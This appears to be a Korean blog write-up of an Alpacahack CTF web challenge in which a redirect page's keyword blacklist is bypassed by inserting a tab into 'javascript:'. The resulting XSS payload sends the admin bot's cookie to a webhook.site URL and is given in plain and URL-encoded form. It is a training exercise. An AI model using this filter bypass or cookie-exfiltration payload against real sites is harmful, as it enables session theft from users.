반응형
문제설명
Topic: Client-Side
분야: Web
난이도: Medium
You don't want the browser to go to external websites without warning, do you?
코드분석
bot / bot.js
try {
const page = await browser.newPage();
await page.setCookie({
name: "FLAG",
value: FLAG,
domain: new URL(APP_URL).hostname,
path: "/",
});
await page.goto(url, { timeout: 5000 });
await sleep(5000);
await page.close();
} catch (e) {
console.error(e);
}
- 봇이 쓸 새 페이지 만듬
- 쿠키이름과 값이 FLAG
- 도메인은 APP_URL의 호스트( 문제에선 web)에 쿠키를 설정
- 사이트 전체 경로에서 쿠키가 붙음
web / redirect.html
<script>
const FORBIDDEN = ["data", "javascript", "blob"];
const params = new URLSearchParams(window.location.search);
let dest = params.get('to') ?? "/";
const link = document.getElementById("link");
if(FORBIDDEN.some(str => dest.toLowerCase().includes(str))) {
dest = "/";
}
const url = new URL(dest, window.location.href);
link.href = url.href;
link.innerText = url.href;
setTimeout(() => {
window.location.replace(url.href);
}, 2000);
</script>
- 블랙리스트 data, javascript, blob
- dest는 쿼리스트링을 ?to= ... 형태로 받음. 없으면 "/"
- 문자열 dest 안에 금지 단어 있으면 / 로 바꿈
- dest를 현재 페이지 기준으로 URL 객체로 파싱한다.
절대 URL/ 상대 URL/ 스킴 URL 모두 여기서 정규화함 - 리다이렉트 할 주소 링크를 보여줌
취약점 분석
- 금지목록이 특정 문자열임
- 경로에 대한 검증이 없음
익스플로잇

문제 사이트에서 URL을 쳐보니 /redirect?to= 로 인코딩을 해 경로를 만들어준 것을 확인해 볼 수 있다.


다음과 같이 URL로 이동하거나 하이퍼링크를 만들어준 것을 확인해볼 수 있다.
XSS시도를 위해 javascript: 스킴을 우회해 사용해보겠다.
java script:alert(1)
다음과 같은 javascript에 tab을 섞어 페이로드를 써보겠다.

XSS가 성공한 것을 확인해 볼 수 있다.
그럼 봇을 이용해 해당 스킴을 이용해 공격자의 서버로 쿠키를 전송하면?
redirect?to=java script:location='https://webhook.site/73c800f7-6708-4a3f-a4eb-3282892f9cc4/?flag='+document.cookie
- 다음과 같이 페이로드를 작성해주고, web 문제서버에서 리다이렉트 URL을 만들고 봇에게 경로를 지정해주면
redirect?to=java%09script%3Alocation%3D'https%3A%2F%2Fwebhook.site%2F73c800f7-6708-4a3f-a4eb-3282892f9cc4%2F%3Fflag%3D'%2Bdocument.cookie

플래그 획득
반응형
'Alpacahack' 카테고리의 다른 글
| Emojify (0) | 2026.02.20 |
|---|---|
| Log Viewer (0) | 2026.02.20 |
| Inu Profile (0) | 2026.02.11 |
| Plz Login (0) | 2026.02.09 |
| Xmas Login (0) | 2026.02.06 |